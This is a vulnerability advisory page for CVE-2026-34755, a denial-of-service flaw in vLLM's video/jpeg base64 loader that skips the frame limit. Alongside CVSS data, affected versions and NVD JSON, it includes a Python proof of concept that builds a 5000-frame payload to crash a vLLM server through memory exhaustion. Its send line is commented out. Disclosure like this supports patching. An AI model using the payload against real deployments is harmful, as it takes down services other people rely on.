CVE-2026-34755

Description

vLLM is an inference and serving engine for large language models (LLMs). From 0.7.0 to before 0.19.0, the VideoMediaIO.load_base64() method at vllm/multimodal/media/video.py splits video/jpeg data URLs by comma to extract individual JPEG frames, but does not enforce a frame count limit. The num_frames parameter (default: 32), which is enforced by the load_bytes() code path, is completely bypassed in the video/jpeg base64 path. An attacker can send a single API request containing thousands of comma-separated base64-encoded JPEG frames, causing the server to decode all frames into memory and crash with OOM. This vulnerability is fixed in 0.19.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:* - VULNERABLE

vLLM 0.7.0

vLLM 0.7.1

vLLM 0.7.2

vLLM 0.7.3

vLLM 0.8.0

vLLM 0.9.0

vLLM 0.10.0

vLLM 0.11.0

vLLM 0.12.0

vLLM 0.13.0

vLLM 0.14.0

vLLM 0.15.0

vLLM 0.16.0

vLLM 0.17.0

vLLM 0.18.0

vLLM 0.19.0 之前版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import base64
import requests

# Minimal valid JPEG base64 string (1x1 pixel)
# This represents a single frame
jpeg_header = "/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAP//////////////////////////////////////wgALCAABAAEBAREA/8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAgBAQABPxA="

# Construct a malicious payload with 5000 frames
# The vulnerability splits by comma, so we join many frames with commas
num_frames = 5000
malicious_base64_payload = ",".join([jpeg_header] * num_frames)

# Create the data URL format expected by the vulnerable endpoint
data_url = f"data:video/jpeg;base64,{malicious_base64_payload}"

# Target vLLM API endpoint (example)
url = "http://localhost:8000/v1/chat/completions"

# Construct the request payload
payload = {
    "model": "llm-model",
    "messages": [
        {
            "role": "user",
            "content": [
                {"type": "text", "text": "Analyze this video"},
                {"type": "image_url", "image_url": {"url": data_url}}
            ]
        }
    ]
}

# Send the malicious request
# This should cause the server to run out of memory and crash
try:
    # response = requests.post(url, json=payload, timeout=10)
    # print(f"Response Status: {response.status_code}")
    print(f"Sending payload with {num_frames} frames to trigger OOM...")
except Exception as e:
    print(f"Exception occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34755
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34755
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34755/
[4] VulDB https://vuldb.com/cve/CVE-2026-34755
[5] https://github.com/vllm-project/vllm/security/advisories/GHSA-pq5c-rjhq-qp7p

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34755", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:36.463", "lastModified": "2026-04-20T18:31:12.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vLLM is an inference and serving engine for large language models (LLMs). From 0.7.0 to before 0.19.0, the VideoMediaIO.load_base64() method at vllm/multimodal/media/video.py splits video/jpeg data URLs by comma to extract individual JPEG frames, but does not enforce a frame count limit. The num_frames parameter (default: 32), which is enforced by the load_bytes() code path, is completely bypassed in the video/jpeg base64 path. An attacker can send a single API request containing thousands of comma-separated base64-encoded JPEG frames, causing the server to decode all frames into memory and crash with OOM. This vulnerability is fixed in 0.19.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.7.0", "versionEndExcluding": "0.19.0", "matchCriteriaId": "36E450C9-1DE7-4CEE-835B-FBE1D9F37704"}]}]}], "references": [{"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-pq5c-rjhq-qp7p", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}